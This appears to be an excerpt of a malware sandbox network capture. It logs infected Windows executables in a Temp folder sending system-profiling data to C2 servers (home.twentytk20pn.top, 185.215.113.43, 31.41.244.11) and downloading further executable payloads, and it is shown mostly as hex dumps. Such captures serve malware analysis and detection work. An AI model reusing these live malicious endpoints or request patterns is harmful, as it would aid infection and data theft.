mode.$PELP(,e"0$+ `@ @+Z`Ui`D @ @ @.rsrcD``@.idata f@opsfqbgc@$h@fbxsrwgz @.taggant@+"@
Dec 20, 2024 02:11:41.424458027 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 20, 2024 02:11:41.424567938 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 20, 2024 02:11:41.424577951 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 20, 2024 02:11:41.424587965 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 20, 2024 02:11:41.424819946 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 20, 2024 02:11:41.424906969 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 20, 2024 02:11:41.424916983 CET	1236	IN	Data Raw: 55 5a 46 e6 61 7c 25 c6 11 7d 3f e6 39 6c 3f e6 57 5a 43 e6 61 7c 25 ec 39 7e 3f e6 63 5c 29 e6 61 71 2f e9 61 9f 3f e6 61 81 3f e6 52 5a 54 e6 61 78 fd f9 61 82 49 e0 58 6c 4b c1 a4 7d 47 70 5e 7b ec ed 61 82 49 98 40 82 3f 96 39 6b 3f e6 57 56 Data Ascii: UZFa\|%}?9l?WZCa\|%9~?c\)aq/a?a?RZTaxaIXlK}Gp^{aI@?9k?WV*\|h?WbM_Q9?cW>cZBa\|%]?ZYax'aEYmY}/De?CX?aq/a?a?RZTaxaIXlK}Gp^{aIb?9k?WV'\|h?WbM_Q9?cW>cZBa\|%\|h?WZCa\|%TK
Dec 20, 2024 02:11:41.424926996 CET	1236	IN	Data Raw: 59 7c 3f d2 63 1c 46 ec 61 13 44 04 59 7c 3f 64 57 14 47 ec 61 9f 45 04 59 7c 3f 20 57 14 47 ec 61 b7 46 18 57 78 3f 6c 57 ce 45 ec 61 6c 48 e0 61 7c 3f 1b 59 14 47 ec 61 a3 44 04 59 7c 3f 02 66 14 47 ec 61 d7 45 04 59 7c 3f 9e 65 4b 47 ec 61 9e Data Ascii: Y\|?cFaDY\|?dWGaEY\|? WGaFWx?lWEalHa\|?YGaDY\|?fGaEY\|?eKGaGY\|?Xx?aGa\|?ex?aBY?ah?a?a?br?cIa?a>aDZ?a?ar?2YdGa?a>aFa?an?b?f?aw?a>a"Ba?an?b?uW?ah?a>a@a?an?b?_?
Dec 20, 2024 02:11:41.424937963 CET	1236	IN	Data Raw: 61 8b 3f 4d 5a 72 3f 67 61 dd 45 ec 61 eb 3e 4d 5a 68 3f 1f 61 dd 45 ec 61 fb 3e 4d 5a 7c 3f 3f 61 dd 45 e7 61 2b 3f d7 5a 5b 3f 2f 61 59 48 c2 61 23 3f dc 5a 50 3f 57 61 5e 49 a7 61 d3 3e 7a 66 bd 3f ff 60 59 48 a1 61 d3 3e e2 66 b3 3f 17 61 33 Data Ascii: a?MZr?gaEa>MZh?aEa>MZ\|??aEa+?Z[?/aYHa#?ZP?Wa^Ia>zf?`YHa>f?a3Ba>X?OaIa>Y?OaDa{>c\|?GaEa{?a>av?da{?a>an?na{?a>ab?Ha{?a>aZ?da{?a>aR?Wa{?a>aF?Ma{?a>a?Ba{?a>a?Ma{?a>a?\a{?a>a?&a{?
Dec 20, 2024 02:11:41.544126034 CET	1236	IN	Data Raw: 9e b5 03 9f a3 ab 1c a8 9c b5 13 b5 a0 b5 0d ac 9a bd 3f b9 a6 b0 15 9f a0 bf 1c b7 96 bf 11 af 8c c1 0c a4 a3 bb 04 e6 90 c1 1c a3 a2 b4 fe ac a6 b0 1c a2 9c c1 08 e6 90 bf 11 bc 9a c1 02 b5 a6 b0 11 a5 8f a5 00 b8 9a ae 06 a9 a2 b6 3f b9 a6 b0 Data Ascii: ??aa?a?

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49929	147.45.113.159	80	4324	C:\Users\user\AppData\Local\Temp\1018059001\c6628554c1.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 02:11:41.494179964 CET	12360	OUT	POST /WEIsmPfDcpBFJozngnYN1734366322 HTTP/1.1 Host: home.twentytk20pn.top Accept: / Content-Type: application/json Content-Length: 496591 Data Raw: 7b 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 2c 20 22 63 75 72 72 65 6e 74 5f 74 69 6d 65 22 3a 20 22 31 37 33 34 36 35 37 30 39 39 22 2c 20 22 4e 75 6d 5f 70 72 6f 63 65 73 73 6f 72 22 3a 20 34 2c 20 22 4e 75 6d 5f 72 61 6d 22 3a 20 37 2c 20 22 64 72 69 76 65 72 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 43 3a 5c 5c 22 2c 20 22 61 6c 6c 22 3a 20 32 32 33 2e 30 2c 20 22 66 72 65 65 22 3a 20 31 36 38 2e 30 20 7d 20 5d 2c 20 22 4e 75 6d 5f 64 69 73 70 6c 61 79 73 22 3a 20 31 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 78 22 3a 20 31 32 38 30 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 79 22 3a 20 31 30 32 34 2c 20 22 72 65 63 65 6e 74 5f 66 69 6c 65 73 22 3a 20 33 38 2c 20 22 70 72 6f 63 65 73 73 65 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 5b 53 79 73 74 65 6d 20 50 72 6f 63 65 73 73 5d 22 2c 20 22 70 69 64 22 3a 20 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 53 79 73 74 65 6d 22 2c 20 22 70 69 64 22 3a 20 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 52 65 67 [TRUNCATED] Data Ascii: { "ip": "8.46.123.189", "current_time": "1734657099", "Num_processor": 4, "Num_ram": 7, "drivers": [ { "name": "C:\\", "all": 223.0, "free": 168.0 } ], "Num_displays": 1, "resolution_x": 1280, "resolution_y": 1024, "recent_files": 38, "processes": [ { "name": "[System Process]", "pid": 0 }, { "name": "System", "pid": 4 }, { "name": "Registry", "pid": 92 }, { "name": "smss.exe", "pid": 332 }, { "name": "csrss.exe", "pid": 420 }, { "name": "wininit.exe", "pid": 496 }, { "name": "csrss.exe", "pid": 504 }, { "name": "winlogon.exe", "pid": 564 }, { "name": "services.exe", "pid": 632 }, { "name": "lsass.exe", "pid": 640 }, { "name": "svchost.exe", "pid": 752 }, { "name": "fontdrvhost.exe", "pid": 780 }, { "name": "fontdrvhost.exe", "pid": 788 }, { "name": "svchost.exe", "pid": 872 }, { "name": "svchost.exe", "pid": 924 }, { "name": "dwm.exe", "pid": 992 }, { "name": "svchost.exe", "pid": 444 }, { "name": "svchost.exe", "pid": 732 }, { "name": "svchost.exe", "pid": 280 }, { "name": "svchost.exe", "pid": [TRUNCATED]
Dec 20, 2024 02:11:41.613939047 CET	4944	OUT	Data Raw: 78 64 42 51 54 4a 61 79 4d 58 58 61 7a 52 74 4e 44 73 6d 65 6c 61 5c 2f 38 45 73 6c 75 63 5a 2b 4f 5c 2f 6c 6b 39 76 38 41 68 57 47 37 5c 2f 77 42 36 47 75 65 63 65 39 66 77 66 69 50 32 6d 66 30 49 73 4a 58 71 59 62 45 2b 4e 55 36 46 65 6d 37 54 Data Ascii: xdBQTJayMXXazRtNDsmela\/8EslucZ+O\/lk9v8AhWG7\/wB6Guece9fwfiP2mf0IsJXqYbE+NU6Fem7Tp1PDPxfjJdU1fgC0oyXvRnFuMotSi3Fpv+14fs6\/pjVKcatPwfjOnJXUo+IfhXJP7uOLprZppOLumk0fkPRX7M23\/BJQXH\/NwOz\/ALpTu\/8Aekr\/AJx61+UXxI8IH4e\/EPx74BbUBqx8D+NPFPhA6qLU2I
Dec 20, 2024 02:11:41.614017010 CET	4944	OUT	Data Raw: 5c 2f 75 5c 2f 33 73 50 2b 66 79 39 76 72 30 49 42 74 5a 5c 2f 39 5a 73 38 33 39 31 2b 36 5c 2f 77 41 5c 2f 5c 2f 58 77 44 31 70 5c 2f 2b 78 4e 38 6e 6d 66 36 33 39 31 2b 5c 2f 48 58 5c 2f 4f 66 5c 2f 72 35 41 4b 62 62 70 4a 58 66 5c 2f 70 72 35 Data Ascii: \/u\/3sP+fy9vr0IBtZ\/9Zs8391+6\/wA\/\/XwD1p\/+xN8nmf6391+\/HX\/Of\/r5AKbbpJXf\/pr5p9ev+f5+tM+f5N\/yenmRXX+eO361NHF5nko6fuevmSRHz\/8AP4e3rl8n8f8Afkl8rfJ\/y27f5AoLhv8AL9UQs23f8+\/zYrfzfLyM\/wClfj9e1Mk\/d\/x7z\/rf3f7j3p+0qyJ+7\/dy\/wDf7\/Rf8\/U1D
Dec 20, 2024 02:11:41.614110947 CET	4944	OUT	Data Raw: 6f 5c 2f 77 43 46 58 37 56 50 45 31 38 58 39 47 58 36 46 6b 38 56 55 6c 58 6e 6c 33 6a 48 39 4d 33 4a 4d 44 55 71 32 6e 55 77 75 54 30 4f 45 5c 2f 6f 62 35 33 52 79 75 6a 55 61 35 34 59 43 6a 6e 48 45 4f 65 35 6e 52 77 71 6c 37 47 6c 6a 73 34 7a Data Ascii: o\/wCFX7VPE18X9GX6Fk8VUlXnl3jH9M3JMDUq2nUwuT0OE\/ob53RyujUa54YCjnHEOe5nRwql7Gljs4zPE04Rq43ESqR0VJ5fv+n\/ANeo6\/1EP8PfaeX4\/wDAI\/L9\/wBP\/r1HViig0K9Rydvxq5VegCvRVimyc\/P0x\/T+o70HQQ0UUUARbD7f5\/CmVYqvWns\/P8P+CdAVHJ2\/H+lSU1l3Uez8\/wAP+CBDTdi+
Dec 20, 2024 02:11:41.614134073 CET	2472	OUT	Data Raw: 54 6a 56 7a 48 6b 2b 6f 34 69 76 7a 56 71 6c 57 4d 59 34 53 74 55 71 51 70 55 4d 50 43 63 63 50 68 71 4d 4d 58 57 63 4b 46 47 6e 43 4e 6b 6f 78 58 79 6a 2b 30 4e 66 38 41 6b 2b 46 39 48 30 39 57 49 61 2b 31 6f 54 73 42 6a 44 51 32 4e 6e 63 42 31 Data Ascii: TjVzHk+o4ivzVqlWMY4StUqQpUMPCccPhqMMXWcKFGnCNkoxXyj+0Nf8Ak+F9H09WIa+1oTsBjDQ2NncB1Oef9ddW78d0HOOD8f7dvGMd\/Wvon9orVbS48QaFo1vf2N5Jpmn3dzOLK6iulil1C5SExyNCziOULpyM0MgSVFZGZQroT87V\/ph9HnBUcL4T8OYilKE\/7VnmWaTnTalGaxGY4mlQkpJvmvhKGGd91t0P8dfpU5h
Dec 20, 2024 02:11:41.614218950 CET	4944	OUT	Data Raw: 5c 2f 34 6a 38 57 5c 2f 73 4e 5c 2f 74 6d 2b 46 50 42 2b 68 36 33 34 6d 38 58 65 4a 76 32 55 66 32 69 66 44 33 68 62 77 33 34 61 30 79 5c 2f 31 72 78 48 34 67 38 52 36 31 38 49 66 47 47 6d 36 4a 6f 65 67 61 50 70 63 4e 7a 71 65 72 61 33 71 32 70 Data Ascii: \/4j8W\/sN\/tm+FPB+h634m8XeJv2Uf2ifD3hbw34a0y\/1rxH4g8R618IfGGm6JoegaPpcNzqera3q2p3NrYaVpunW9xfX99cQWtpDLcSxxt\/hN9JzAYTNPpG\/SGwGOpe3wmJ4t4HhWpKpVpOSj4H+EdSNqtCdOrBxnCMlKnUjJNKzP+ov6L\/FGecG\/RD\/Z+8T8NY1ZdneU+B3itXwGMlhcFjY0alT6av0u8NU58HmOH
Dec 20, 2024 02:11:41.614238977 CET	2472	OUT	Data Raw: 49 55 70 30 71 4d 50 37 51 7a 58 4c 4d 43 71 6d 49 71 55 71 63 73 58 6a 38 48 68 34 79 64 58 45 55 6f 53 5c 2f 7a 45 34 5a 38 4e 2b 4f 2b 4d 73 71 7a 76 4f 2b 46 2b 47 38 64 6e 4f 56 38 4f 55 35 56 63 35 78 65 45 39 69 34 34 4b 4d 4d 46 69 38 78 Data Ascii: IUp0qMP7QzXLMCqmIqUqcsXj8Hh4ydXEUoS\/zE4Z8N+O+MsqzvO+F+G8dnOV8OU5Vc5xeE9i44KMMFi8xmnTqVqdavUhl+X47HTpYWnWqwwmDxOIlBUqFScclW\/v5\/Ln+VdLoXi7xP4ZkWXQdc1LSyjiURW1y4tmkByHe0cvayOCAVaSFiDyCDXnY8SeHiGYa9opCFg5GqWOEK8sGPn4UqOWBxjvT4vEGhTq7wa1pEyR\/wC
Dec 20, 2024 02:11:41.733608007 CET	2472	OUT	Data Raw: 6a 57 66 45 41 30 7a 78 54 38 51 4e 4d 74 6a 64 51 2b 48 34 64 4a 31 65 7a 30 33 56 74 52 38 4e 61 6e 72 64 68 4a 6f 56 78 72 6e 36 44 54 38 59 66 44 79 6f 73 77 74 78 5a 67 61 62 79 6d 67 73 54 6d 6b 4b 39 4c 48 59 61 72 6c 31 43 56 44 4c 63 56 Data Ascii: jWfEA0zxT8QNMtjdQ+H4dJ1ez03VtR8NanrdhJoVxrn6DT8YfDyoswtxZgabymgsTmkK9LHYarl1CVDLcVCpjqOIwdKrhVUw2b5dXpRrQhKrSxUalOMowquHwNfwK8WcPUyulPgrMpyzvF0sDk8sNiMtxdLNMXWqY6lCjgK+Ex1aji5KrlmOpVHQqTjSqUHCrKEqlJT0qK3fEWm+FtM+GEHxU8JfHD4LfFzTdU+Kfhf4J+E\/Cn
Dec 20, 2024 02:11:41.733654976 CET	2472	OUT	Data Raw: 58 72 2b 6c 38 6e 7a 6a 4c 4f 49 4d 71 79 5c 2f 4f 38 6c 78 74 48 4d 63 70 7a 58 43 30 63 64 6c 32 50 77 7a 63 71 47 4c 77 6d 49 67 71 6c 47 76 53 6b 31 46 75 46 53 44 55 6f 33 53 64 74 30 6d 66 79 4e 6e 47 53 5a 74 77 33 6d 2b 5a 5a 44 6e 75 42 Data Ascii: Xr+l8nzjLOIMqy\/O8lxtHMcpzXC0cdl2PwzcqGLwmIgqlGvSk1FuFSDUo3Sdt0mfyNnGSZtw3m+ZZDnuBr5ZnGU4urgcxy\/EpKvhMXQk41aFVRlKPPCSs+WUk902gqJ+v4f1NLJJHEoeWaC2i3xLLc3X2r7NbRySJG9zc\/YrS+vDBbqxmmFpZXdyY0YQW08pSNup8X+HfDmg\/Dg\/Erwv8bvgt8WbS6+Lnh34FeGfCHw4tP
Dec 20, 2024 02:11:41.733683109 CET	7416	OUT	Data Raw: 30 62 47 39 50 35 66 34 30 46 38 37 38 76 36 2b 5a 51 77 5c 2f 76 2b 66 38 41 39 65 6c 38 76 33 5c 2f 54 5c 2f 77 43 76 56 69 52 58 37 44 36 66 34 2b 5c 2f 74 31 5c 2f 6e 55 64 42 71 56 36 4b 6c 66 70 2b 50 39 44 54 4f 55 50 62 6b 66 35 39 4b 44 Data Ascii: 0bG9P5f40F878v6+ZQw\/v+f8A9el8v3\/T\/wCvViRX7D6f4+\/t1\/nUdBqV6Klfp+P9DTOUPbkf59KDT2nl+P8AwCB+v4UyrFRbD7f5\/Cg7CpTH6fj\/AENT+U\/p+h\/wpmx\/b8v\/ALKg0p9f6\/r\/AIYrUVK\/T8f6GoqDQifr+H9TTKkk7fj\/AEqOg09p5fj\/AMAjk7fj\/So6sVBsf2\/L\/wCyoOj2nl+P\/A
Dec 20, 2024 02:11:41.733725071 CET	2472	OUT	Data Raw: 70 53 6f 31 71 64 66 78 58 78 53 6e 77 71 38 48 66 47 6a 39 6e 6e 34 32 5c 2f 42 7a 34 34 66 42 62 34 76 5c 2f 41 5c 2f 39 68 48 78 68 38 4b 74 52 2b 42 66 77 58 38 43 65 47 5c 2f 32 72 50 42 50 78 72 2b 49 46 6a 70 50 6a 50 77 31 34 6b 2b 4e 58 Data Ascii: pSo1qdfxXxSnwq8HfGj9nn42\/Bz44fBb4v\/A\/9hHxh8KtR+BfwX8CeG\/2rPBPxr+IFjpPjPw14k+NXxJ8VTfE\/9lH4X\/DvTfir8WtYsLzXNXWH4n3Ol+FfDejeDvA2galr1r4N0r+0fGvDGj\/CX4TfAvXfgj4C8Z\/A\/wCPviPxH+0V8NfGfwY8U6F+zp4s8C\/tFfDD4XLYfEzU\/ifYftB\/Ezxx8EvB86a7rdzqX
Dec 20, 2024 02:11:44.868418932 CET	183	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 20 Dec 2024 01:11:44 GMT Content-Type: text/html; charset=utf-8 Content-Length: 26 Connection: close Data Raw: 45 31 74 4e 65 30 72 67 68 59 54 54 6c 71 73 44 31 37 33 34 36 35 37 31 30 33 Data Ascii: E1tNe0rghYTTlqsD1734657103

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	49938	185.215.113.43	80	7696	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 02:11:45.349747896 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 38 30 36 30 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1018060001&unit=246122658369
Dec 20, 2024 02:11:46.683298111 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 20 Dec 2024 01:11:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	49939	147.45.113.159	80	4324	C:\Users\user\AppData\Local\Temp\1018059001\c6628554c1.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 02:11:45.589745045 CET	126	OUT	GET /WEIsmPfDcpBFJozngnYN1734366322?argument=E1tNe0rghYTTlqsD1734657103 HTTP/1.1 Host: home.twentytk20pn.top Accept: /
Dec 20, 2024 02:11:47.247556925 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 20 Dec 2024 01:11:46 GMT Content-Type: application/octet-stream Content-Length: 10816560 Connection: close Content-Disposition: attachment; filename="wmhxbWrMmpOSXnEQUlz;" Last-Modified: Mon, 16 Dec 2024 16:25:22 GMT Cache-Control: no-cache ETag: "1734366322.858812-10816560-3400407440" Data Raw: d5 59 3c ac 4f c5 f6 d3 51 7e 47 47 26 fc 67 8e 84 c9 d0 b9 c8 1a b5 f2 9f 36 58 4e 2a 47 78 b3 71 d6 90 99 2c 75 71 ee 05 07 6f e4 46 9c 81 25 65 1e b9 5c 4c cd 26 06 a2 8a 7f f2 65 9e 16 dd 0a 62 a6 54 b4 af c9 89 f9 fa 9d 0d e0 ee 45 13 e3 62 b4 7a 27 ea 09 83 39 68 2b 57 d4 60 b5 5e e3 8d 8a ca f3 0f 65 59 61 a9 31 84 ec 75 18 9f 24 5a b0 43 dc a9 88 a2 32 72 8c 21 0b 74 3a 35 c1 bb ab 53 27 66 6a 20 e9 40 bb 35 77 dc 6b 55 70 51 7b b4 f9 80 55 0a bb 5b 04 23 b9 54 94 13 ce 2c 0f 64 c3 37 11 71 7d c1 39 1d bd 7e 1d a8 c2 76 08 b7 bb e4 83 f9 ca ca 3f d4 dc a1 68 0b fd 09 4e df f0 a3 4b ae ec 74 e9 a6 d0 f3 8f 73 8f bf ae 9d b3 e6 e5 e8 01 1a e2 90 67 05 cf 14 df 94 91 9a ac 00 db 92 f7 18 9e cd ca 55 e2 d5 d7 f2 87 f7 fa 3e f6 0f 54 99 fb 85 6f 27 8f 0b 94 d4 df 07 de d7 fd d7 24 7d 3b e8 61 d3 13 51 b5 02 12 b2 41 76 6e ac e5 f8 d0 76 a2 58 a0 af b0 ed e4 17 7d e1 24 1c 2f d5 3b 76 8d 8f 0c ad 07 bf 79 f7 c3 7c ae 13 ae 2d b2 54 c1 39 70 46 45 22 5c aa 6d 59 19 8b e5 22 88 83 18 44 c0 92 bf b1 [TRUNCATED] Data Ascii: Y<OQ~GG&g6XNGxq,uqoF%e\L&ebTEbz'9h+W`^eYa1u$ZC2r!t:5S'fj @5wkUpQ{U[#T,d7q}9~v?hNKtsgU>To'$};aQAvnvX}$/;vy\|-T9pFE"\mY"D7kamD}?@ZY m>]De!cYJ<vG}%o$QWP8.jxx%_xHVFC:\Y<,8/w"QQt4ep\6OC)['[VFdN_btA9AF]"e$9&-;( NGU1ht)#i$00_W~W<"]::Uxw[\|yJ~n7isY2_(q8""~@/t1@"n6]rtYukb.]PxC3l&f-KMU;5^>>?eRL?#14rYlG(~ {9Ps!jRn@f^KI/DSLKs4`dX/
Dec 20, 2024 02:11:47.247697115 CET	1236	IN	Data Raw: a0 9f b7 ec 69 1f 77 c1 b8 9d b5 6f ff 5c e2 49 9b 40 24 f4 94 2e 6b 10 0a 2a 7d 78 3d a2 5d 2e 64 71 a5 1c fe 68 57 df 5f 96 f6 4c 28 9f 74 29 e4 0e 1d 56 23 c2 6c 8a c0 b4 eb 62 28 4c ee 7b 5a c4 2f e5 ef 72 84 32 e9 e1 08 27 06 4a 55 a3 38 47 Data Ascii: iwo\I@$.k}x=].dqhW_L(t)V#lb(L{Z/r2'JU8G~FbVp9(C4.BqN%7aNQ4/2M]ur"sTJj6(kD8ctTBHUE:zm[Y264#rGSL
Dec 20, 2024 02:11:47.247713089 CET	448	IN	Data Raw: 57 e4 4c 71 69 da 6f 59 a7 8f 5f 7b ef 4f 11 c9 c4 f8 06 4d bc c2 d8 75 84 b5 f7 b3 59 c9 af 94 f9 8a 27 4e 85 a1 36 76 b0 38 83 cc bd a2 a7 55 2a 4b 0b 05 51 f9 f5 0e fb 39 63 2b c9 60 04 64 e5 6b 13 26 92 33 af 53 a1 bc 41 14 9f 71 fd 27 65 5f Data Ascii: WLqioY_{OMuY'N6v8U*KQ9c+`dk&3SAq'e_XHFz=ZNmMl]!5,Gjk[}tXW~"3d-_n!y4N}oW>fpB~:Lz(S]sQrH~isg?H/V
Dec 20, 2024 02:11:47.247848988 CET	1236	IN	Data Raw: 64 87 9c dd 5b db c6 da 50 16 38 31 36 85 a9 5c 09 7a c1 6e 0b dd b7 b5 13 d0 94 63 72 9e 8e c4 95 53 03 9f 63 e7 3b c2 11 b8 63 2a 8b ae a5 b2 0d 25 3c 77 3a 8e 35 df de 4b c5 ac a6 11 2a 41 12 20 8c ff 5d 95 54 e3 7a 47 1a f8 50 b5 86 28 4b ca Data Ascii: d[P816\zncrSc;c%<w:5KA ]TzGP(K(@\l/mwDE{}.L%G":Uj)NR8O~a`0}N0i%HTefQZ$T"S!'lKN)4"\iS
Dec 20, 2024 02:11:47.247864008 CET	1236	IN	Data Raw: e7 ea 38 6f 6e bf b6 cc f1 32 ad d5 9e 92 06 8a 54 bb 37 bc 6b 27 76 14 08 22 79 28 c5 94 60 64 f5 8f 17 7f 46 e1 df b6 0c d8 cb 5f 07 87 c2 a9 f7 64 86 7b 63 a5 42 7f 83 65 b8 33 2a a4 38 cb c1 fd 38 5f ef 23 81 0b a3 6c 65 45 f7 0e 80 2b dd 45 Data Ascii: 8on2T7k'v"y(`dF_d{cBe388_#leE+E2v8G$^ss}o_Ey (^D627MT=aF,7yc^/RQ1UGV<k4::l2%$-"$#*[
Dec 20, 2024 02:11:47.247880936 CET	1236	IN	Data Raw: b4 2c 96 9d 86 04 89 b1 5a 71 5d d6 e6 96 43 7b 46 5b 9c 59 32 f9 4d 11 6f 93 76 b4 5c 30 aa 4f bb 86 62 07 b1 43 f0 44 e0 c4 97 3a c7 5d a3 b3 e6 03 89 58 e9 13 ba 1d 54 90 8f 53 d8 0c 45 1c 02 93 f3 d4 34 f7 c7 8b ca 4a 49 d1 92 96 4e ea e1 bd Data Ascii: ,Zq]C{F[Y2Mov\0ObCD:]XTSE4JINuIxS\|1V`.:.&`BFD;j )W&)inqp"tq=X\)?Wk8w67vQ1v#3VT.r9?yE7
Dec 20, 2024 02:11:47.247899055 CET	1236	IN	Data Raw: 15 97 64 b7 0d 99 1d 5d 4e f1 1e 4a 02 4e d7 1e 71 25 7d ca e5 1d df 3d 01 da 9f 1b fe ab 16 a9 44 45 e8 c5 4e 06 50 06 59 3f 15 f5 c7 bb a5 75 5e 9b 32 42 8c 97 ab a8 b2 31 03 f9 78 63 30 2d 54 86 da 64 91 4f 36 9d 59 87 5a 09 58 e3 6f a9 3f 90 Data Ascii: d]NJNq%}=DENPY?u^2B1xc0-TdO6YZXo?p\|c\|(F?sBTlQsVEg,J En*zf4t] 3+Yj@gi9\EVDBJjH'&W;;+@\|Czl
Dec 20, 2024 02:11:47.248317003 CET	1236	IN	Data Raw: 8b 00 aa c5 e1 36 4c 91 60 10 db 13 4d 05 67 33 00 2f ae d0 a0 c1 99 4e 93 b0 1e 85 c3 a9 ef 1f 8b a6 ae 4c 17 b3 14 61 57 ac 98 21 22 f2 9d c1 eb c6 25 da 0f f0 67 0d d8 ef eb b1 97 f6 bf ff a1 12 c8 c8 d2 ae 94 c1 ee 7a 7c f9 79 56 2d b7 c0 a5 Data Ascii: 6L`Mg3/NLaW!"%gz\|yV-22x<~}K_u\|CozO{ \NAG~?H[4>K01d\8V0w(M{Nez{C:nN-}2eJ?lo4
Dec 20, 2024 02:11:47.248331070 CET	1236	IN	Data Raw: c2 9f ea ef 6f e3 53 21 9b 5b 99 1b 03 3c 59 3f 80 f5 ac dc e7 b0 8a b9 15 af 68 97 35 33 a3 bc 29 38 51 6c da 86 c5 a2 4c ca 15 b1 86 89 7e 14 84 74 11 18 fe 64 9e 96 d7 45 95 49 71 33 61 31 c0 74 ea 42 d5 56 b0 59 34 68 81 68 9a f4 0f d8 73 d8 Data Ascii: oS![<Y?h53)8QlL~tdEIq3a1tBVY4hhs5Hl@Rv<"],7@ux(v00BTmvTFR\|,dV%Y80Hq7_tLU)>*pd-a3sK&"9:)
Dec 20, 2024 02:11:47.248347044 CET	1236	IN	Data Raw: f9 f4 aa 2e 34 35 8d 0c 8c 48 09 be 13 e4 10 b1 ea 27 d4 8a 07 df fb 6d 7b 72 c7 80 3d b9 3f 83 2d cd 64 15 a4 9e 13 5d 8a 31 c6 c7 d5 96 64 7e 8e c2 74 b0 f0 48 87 c1 4e a5 4b b9 35 f2 39 3e 97 2c 76 21 5e 85 be bc 78 a5 e9 cf ac 0a 98 17 27 76 Data Ascii: .45H'm{r=?-d]1d~tHNK59>,v!^x'v1QMPb\|l=7HscI#U 6]g@3!(4:X3WeTbLVa~b5U/@"8gWr,8>Icel(8L@0ol[v,
Dec 20, 2024 02:11:47.367291927 CET	1236	IN	Data Raw: 59 74 87 f9 5c db c6 85 54 db 48 57 2f f8 a3 a0 db 2f 81 9d ce e0 d3 63 73 95 cd 9f b2 f3 fc 28 16 5f bb a6 67 7a b7 5b 56 2e ad 25 c2 ce 42 78 ae 85 cd 1d 45 4b 05 48 3d 4e 75 02 69 37 49 fc 70 e2 4d f0 6a 2d 30 a3 cd 6c 40 0b 38 da 37 1c 99 5a Data Ascii: Yt\THW//cs(_gz[V.%BxEKH=Nui7IpMj-0l@87ZdD$`(^f=kLpPt,~hF}Pg%O>O@n4PzY`s$407W, LV"[a~vEik%5TDp'Cun>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	49944	31.41.244.11	80	7696	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 02:11:46.806073904 CET	61	OUT	GET /files/martin/random.exe HTTP/1.1 Host: 31.41.244.11
